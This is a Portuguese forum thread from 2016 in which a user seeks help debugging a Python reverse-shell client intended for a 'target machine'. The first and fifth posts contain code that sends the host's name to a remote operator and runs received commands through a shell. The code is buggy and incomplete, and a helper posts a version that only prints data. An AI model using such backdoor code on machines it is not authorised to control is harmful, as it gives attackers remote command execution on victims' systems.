[ERRO SOCKET EM PYTHON} [RESOLVIDO]

1. [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 08/12/2016 - 15:34h

Boa tarde,

estou desenvolvendo um código de cliente TCP e o código está retornando um ' socket.error: [errno 10022] Foi fornecido um argumento inválido '

já tentei readaptar para corrigir o erro, mas não tive êxito

se algum dos senhores puder me ajudar nesse problema, ficarei grato!

segue o código, para os senhores se situarem:


#!/usr/bin/env python
# -* coding: utf-8 -*-

# script to install in the target machine.

#import the functional lib to our project

import argparse
import socket, sys, os, subprocess, threading, re
from argparse import ArgumentParser

#setting on our functions to connect with the target machine

def attacker():
global host
global port
global s
os.system('cls')
host = raw_input('set the target > ')
port = raw_input('set the port to connect > ')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ## socket.socket(socket.AF_INET, socket.SOCK_STREAM)


try:
print('Tentando conexão com %s%:s')%(host,port)
s.connect((host,port))
print('Conexão estabelecida.')
s.send(os.environ['COMPUTERNAME'])
except:
print ('A conexão está falhando.')

def taken():
taken = s.recv(1024)
tokens = re.split('\s+', taken, 1)
command = tokens[0]
if command == 'q':
s.close()
elif command == 'shell':
if len(tokens) > 1:
proc2 = subprocess.Popen(tokens[1], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = proc2.stdout.red() + proc2.stderr.read()
else:
output = 'Os argumentos devem começar com "shell" '
else:
output = 'comandos válidos são: "q" para sair do Reverse Shell, e "shell <comando>" (ex: shell cd Desktop)'
s.send(output)
def send():
s.send(output)
s.receive()

def stop():
s.close()


if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p = argparse.ArgumentParser(description='Reverse Shell - Penetration Test', epilog='Hacking Grey Hat!')
p = p.parse_args()

attacker()
taken()
send()
stop()


toda ajuda é bem vinda,

um abraço!


  


2. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 08/12/2016 - 16:09h

Essa função taken() apresenta uma variável que não foi definida:
tokens = re.split('\s+', t, 1) 

De onde vem esse t, o código é só esse ou tem mais?




______________________________________________________________________
OS: Biebian
Kernel: x86_64 3.5.2-amd64
Resolution: 1320x768
CPU: Intel Core i3-4005U CPU @ 1.7GHz
RAM: 3852MiB
Distro: http://biebian.sourceforge.net/


3. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 08/12/2016 - 16:14h

ctw6av escreveu:

Essa função taken() apresenta uma variável que não foi definida:
tokens = re.split('\s+', t, 1) 

De onde vem esse t, o código é só esse ou tem mais?




______________________________________________________________________
OS: Biebian
Kernel: x86_64 3.5.2-amd64
Resolution: 1320x768
CPU: Intel Core i3-4005U CPU @ 1.7GHz
RAM: 3852MiB
Distro: http://biebian.sourceforge.net/


Opa, boa tarde

então, eu comecei esse código do zero, usei de alguns exemplos, mas evitei ser genérico... o t que tu mencionou é da função taken, na primeira postagem coloquei errado, estava tudo aberto aqui no pluma, uns rascunhos e acabei por pegar o rascunho...

enfim, o
t 
vem de taken, e por enquanto esse é o código 'completo'
comecei agora a tarde, pretendo adcionar mais funções, etc.


4. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 08/12/2016 - 18:22h

Veja a função taken() e adapte ela para o seu jeito, dessa forma ela só está imprimindo os resultados recebidos.

#!/usr/bin/env python3

import argparse
import socket
import sys
import os


def digest_error(error):
""" Digere as mensagens de erro, imprime a mensagem. O argumento é uma exceção qualquer """
if error.strerror:
print(error.strerror)
sys.exit(error.errno)
print('Erro desconhecido')
sys.exit(1)


def parse_command_line(desc):
""" Faz o parse dos argumentos e retorna um endereço para o socket. """
parser = argparse.ArgumentParser(description=desc, epilog='Hacking Grey Hat!')
parser.add_argument('host', help='Endereço IP ou nome do Host')
parser.add_argument('-p', metavar='porta', type=int, default=1234,
help='Porta UDP (Default 1234)')
args = parser.parse_args()
address = (args.host, args.p)
return address


def attack(socks, *addr):
""" Tenta uma conexão com o alvo e logo em seguida chama a função taken.

O primeiro argumento é um socket como objeto
O segundo argumento é o endereço no formato de uma tupla
"""
print('Conectando a {}:{}'.format(addr[0], addr[1]))
try:
socks.connect(addr)
logname = os.environ['LOGNAME'] # <<<<<<<<< Cuidado, aqui era gerado o erro da chave.
socks.send(logname.encode())
taken(socks)
except ConnectionRefusedError as error:
digest_error(error)


def taken(socks):
""" Não consegui descobrir o que essa função faz
Ela recebe um socket como argumento, boa sorte!
"""
socks.settimeout(5)
try:
data = socks.recv(4096)
except socket.timeout as error:
print('Sem resposta, saindo...')
sys.exit(error.errno)

print(data.decode())


if __name__ == '__main__':
address = parse_command_line('Reverse Shell - Penetration Test')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
attack(sock, *address)
except KeyboardInterrupt:
print('\rSaindo...')
sys.exit(0)



______________________________________________________________________
OS: Biebian
Kernel: x86_64 3.5.2-amd64
Resolution: 1320x768
CPU: Intel Core i3-4005U CPU @ 1.7GHz
RAM: 3852MiB
Distro: http://biebian.sourceforge.net/


5. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 09/12/2016 - 18:32h

ctw6av escreveu:

Veja a função taken() e adapte ela para o seu jeito, dessa forma ela só está imprimindo os resultados recebidos.

#!/usr/bin/env python3

import argparse
import socket
import sys
import os


def digest_error(error):
""" Digere as mensagens de erro, imprime a mensagem. O argumento é uma exceção qualquer """
if error.strerror:
print(error.strerror)
sys.exit(error.errno)
print('Erro desconhecido')
sys.exit(1)


def parse_command_line(desc):
""" Faz o parse dos argumentos e retorna um endereço para o socket. """
parser = argparse.ArgumentParser(description=desc, epilog='Hacking Grey Hat!')
parser.add_argument('host', help='Endereço IP ou nome do Host')
parser.add_argument('-p', metavar='porta', type=int, default=1234,
help='Porta UDP (Default 1234)')
args = parser.parse_args()
address = (args.host, args.p)
return address


def attack(socks, *addr):
""" Tenta uma conexão com o alvo e logo em seguida chama a função taken.

O primeiro argumento é um socket como objeto
O segundo argumento é o endereço no formato de uma tupla
"""
print('Conectando a {}:{}'.format(addr[0], addr[1]))
try:
socks.connect(addr)
logname = os.environ['LOGNAME'] # <<<<<<<<< Cuidado, aqui era gerado o erro da chave.
socks.send(logname.encode())
taken(socks)
except ConnectionRefusedError as error:
digest_error(error)


def taken(socks):
""" Não consegui descobrir o que essa função faz
Ela recebe um socket como argumento, boa sorte!
"""
socks.settimeout(5)
try:
data = socks.recv(4096)
except socket.timeout as error:
print('Sem resposta, saindo...')
sys.exit(error.errno)

print(data.decode())


if __name__ == '__main__':
address = parse_command_line('Reverse Shell - Penetration Test')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
attack(sock, *address)
except KeyboardInterrupt:
print('\rSaindo...')
sys.exit(0)



______________________________________________________________________
OS: Biebian
Kernel: x86_64 3.5.2-amd64
Resolution: 1320x768
CPU: Intel Core i3-4005U CPU @ 1.7GHz
RAM: 3852MiB
Distro: http://biebian.sourceforge.net/



Bom, readaptei mas esta voltando um erro no s.connect((host,port))
typeerror: an integer is required

segue o codigo:


#!/usr/bin/env python
# -* coding: utf-8 -*-

import argparse
import socket
import sys
import os

def digest_error(error):
""" Digere as mensagens de erro, imprime a mensagem. O argumento é uma exceção qualquer """
if error.strerror:
print(error.strerror)
sys.exit(error.errno)
print('Erro desconhecido')
sys.exit(1)


def parse_command_line(desc):
""" Faz o parse dos argumentos e retorna um endereço para o socket. """
parser = argparse.ArgumentParser(description=desc, epilog='Hacking Grey Hat!')
parser.add_argument('-d', '--host', type=str, help='Endereço IP ou nome do Host', required=False)
parser.add_argument('-p', metavar='port', type=int, default=1234, required=False)
args = parser.parse_args()
address = (args.host, args.p)
return address


def attack(socks, addr):
""" Tenta uma conexão com o alvo e logo em seguida chama a função taken.

O primeiro argumento é um socket como objeto
O segundo argumento é o endereço no formato de uma tupla

"""
global host
global port
global s
os.system('cls')
host = raw_input('defina o ip para se conectar: ')
port = raw_input('defina a porta: ')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((host,port))
print('Conectando a {}:{}'.format(addr[0], addr[1]))
try:
socks.connect(addr)
logname = os.environ['COMPUTERNAME'] # <<<<<<<<< Cuidado, aqui era gerado o erro da chave.
socks.send(logname.encode())
taken(socks)
except socket.error as error:
digest_error(error)


def taken(socks):
received = s.recv(1024)
tokens = re.split('\s+', received, 1)
command = tokens[0]
if command == 'quit':
self.s.close()
elif command == 'shell':
if len(tokens) > 1:
proc2 = subprocess.Popen(tokens[1], shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)
output = proc2.stdout.read() + proc2.stderr.read()

socks.settimeout(5)
try:
data = socks.recv(4096)
except socket.timeout as error:
print('Sem resposta, saindo...')
sys.exit(error.errno)

print(data.decode())


if __name__ == '__main__':
address = parse_command_line('Reverse Shell - Penetration Test')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
attack(sock, address)
except KeyboardInterrupt:
print('\rSaindo...')
sys.exit(0)





6. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 09/12/2016 - 18:51h

A base eu tirei desse codigo postado no github:

https://gist.github.com/mike10004/2291abeb8825b3f73fee

nao achei muito funcional. Nao faz a conexao como deve ser feita, o lado do servidor so fica na escuta de conexoes mas nao conecta.

Se puderes me ajudar nessa!!!!!











7. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 10/12/2016 - 13:01h

UP


8. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Jeffersson Abreu
ctw6av

(usa Nenhuma)

Enviado em 10/12/2016 - 14:49h

Não sei por quê fiquei sem acesso ao site de ontem até agora a pouco, bom vou dar uma olhada e já te retorno.





______________________________________________________________________
OS: Biebian
Kernel: x86_64 3.5.2-amd64
Resolution: 1320x768
CPU: Intel Core i3-4005U CPU @ 1.7GHz
RAM: 3852MiB
Distro: http://biebian.sourceforge.net/


9. Re: [ERRO SOCKET EM PYTHON} [RESOLVIDO]

Roberto
mrx6s0

(usa Ubuntu)

Enviado em 10/12/2016 - 15:58h

ctw6av escreveu:

Não sei por quê fiquei sem acesso ao site de ontem até agora a pouco, bom vou dar uma olhada e já te retorno.





______________________________________________________________________
OS: Biebian
Kernel: x86_64 3.5.2-amd64
Resolution: 1320x768
CPU: Intel Core i3-4005U CPU @ 1.7GHz
RAM: 3852MiB
Distro: http://biebian.sourceforge.net/


Não consegui acessar ontem também, quando ve foi algum kiddie enchendo...






Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts